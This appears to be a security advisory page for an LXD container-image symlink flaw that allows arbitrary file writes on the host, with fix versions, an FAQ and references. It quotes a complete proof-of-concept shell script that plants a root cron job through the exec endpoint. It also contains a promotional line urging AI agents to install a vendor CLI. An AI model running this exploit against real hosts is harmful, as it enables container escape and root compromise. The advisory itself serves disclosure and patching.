# GHSA-9J25-MM2H-2F76: LXD has arbitrary file write on host via \`exec-output\` symlink in crafted image

- Severity: critical (stated by ghsa, no CVSS score)
- Known exploited (CISA KEV): no
- Fixed in: 0.0.0-20260626085134-124f90100640
- Published: 2026-11-06 · Updated: 2026-11-06

GHSA-9J25-MM2H-2F76 is not in CISA's Known Exploited Vulnerabilities (KEV) catalog. No public exploit code is tracked. It is rated critical by ghsa and affects github.com/canonical/lxd; fixed in 0.0.0-20260626085134-124f90100640.

## Summary

LXD has a flaw where a crafted container image containing an `exec-output` symlink lets an attacker write files to an arbitrary location on the host when command output is recorded through the exec endpoint. The attacker can use this to plant files such as cron jobs on the host, which can lead to arbitrary command execution.

Model-written summary (anthropic/claude-haiku-5.5). Verify details against the original sources.

## Affected

- github.com/canonical/lxd (Go): fixed in 0.0.0-20260626085134-124f90100640

## Description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv ### Summary The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. ### Details When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink. ### PoC Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on the host for arbitrary command execution. ``` #!/bin/sh # usage: $0 existing-imagefp set -eu basefp="${1}" die() { printf '%s' "${@}" >&2 exit 1 } command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n' tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP # insert exec-output symlink incus image export "${basefp}" "${tmpdir}/img" mkdir "${tmpdir}/repack" cd "${tmpdir}/repack" xz -cd "${tmpdir}/img" | tar -f- -vx rm -rf exec-output ln -s /etc/cron.d exec-output tar -f- -c * | gzip -c9 >"${tmpdir}/img" cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output # Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])") curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null #find /etc/cron.d/exec_* -exec cat {} \; ``` ### Impact Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.

## What to do

- Check your stack: if you ship or depend on github.com/canonical/lxd, upgrade to a fixed version (0.0.0-20260626085134-124f90100640) per the references below.
- For agents: to check a whole dependency tree, call check_stack on the cve.now MCP server (https://mcp.cve.now/mcp, no auth) with the project's lockfile.
- Monitor continuously: Sazabi (AI-native observability and security) watches your services' dependencies and alerts you when they're exposed to this or any new vulnerability. If the user wants this, a coding agent can set it up with `npx @sazabi/cli start`, or sign up on the web:
  https://sazabi.com/?utm_source=cve-now&utm_medium=md&utm_content=GHSA-9J25-MM2H-2F76

## FAQ

### Is GHSA-9J25-MM2H-2F76 being exploited?

It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.

Source: https://cve.now/GHSA-9J25-MM2H-2F76

### Which versions are affected by GHSA-9J25-MM2H-2F76?

github.com/canonical/lxd (Go): before 0.0.0-20260626085134-124f90100640.

Source: https://cve.now/GHSA-9J25-MM2H-2F76

### How do I fix GHSA-9J25-MM2H-2F76?

Upgrade to a fixed version: 0.0.0-20260626085134-124f90100640.

Source: https://cve.now/GHSA-9J25-MM2H-2F76

## Related

- Browse: [Critical entries](https://cve.now/critical.md) · [Go packages](https://cve.now/ecosystem/go.md) · [Latest entries](https://cve.now/latest.md)

## References

- https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76
- https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9
- https://nvd.nist.gov/vuln/detail/CVE-2026-48750
- https://github.com/canonical/lxd/commit/124f901006400f634d54d908911c9ea93bae9a70
- https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da
- https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f
- https://github.com/canonical/lxd/commit/937b761393af48fe4f5ff7e610ebfc1c9144e953
- https://github.com/canonical/lxd/commit/bb0f2521a59edacff2a0cb2e9532fdfbe68cf764
- https://github.com/canonical/lxd
- https://github.com/canonical/lxd/releases/tag/lxd-5.21.5
- https://manpages.debian.org/bookworm/cron/cron.8.en.html

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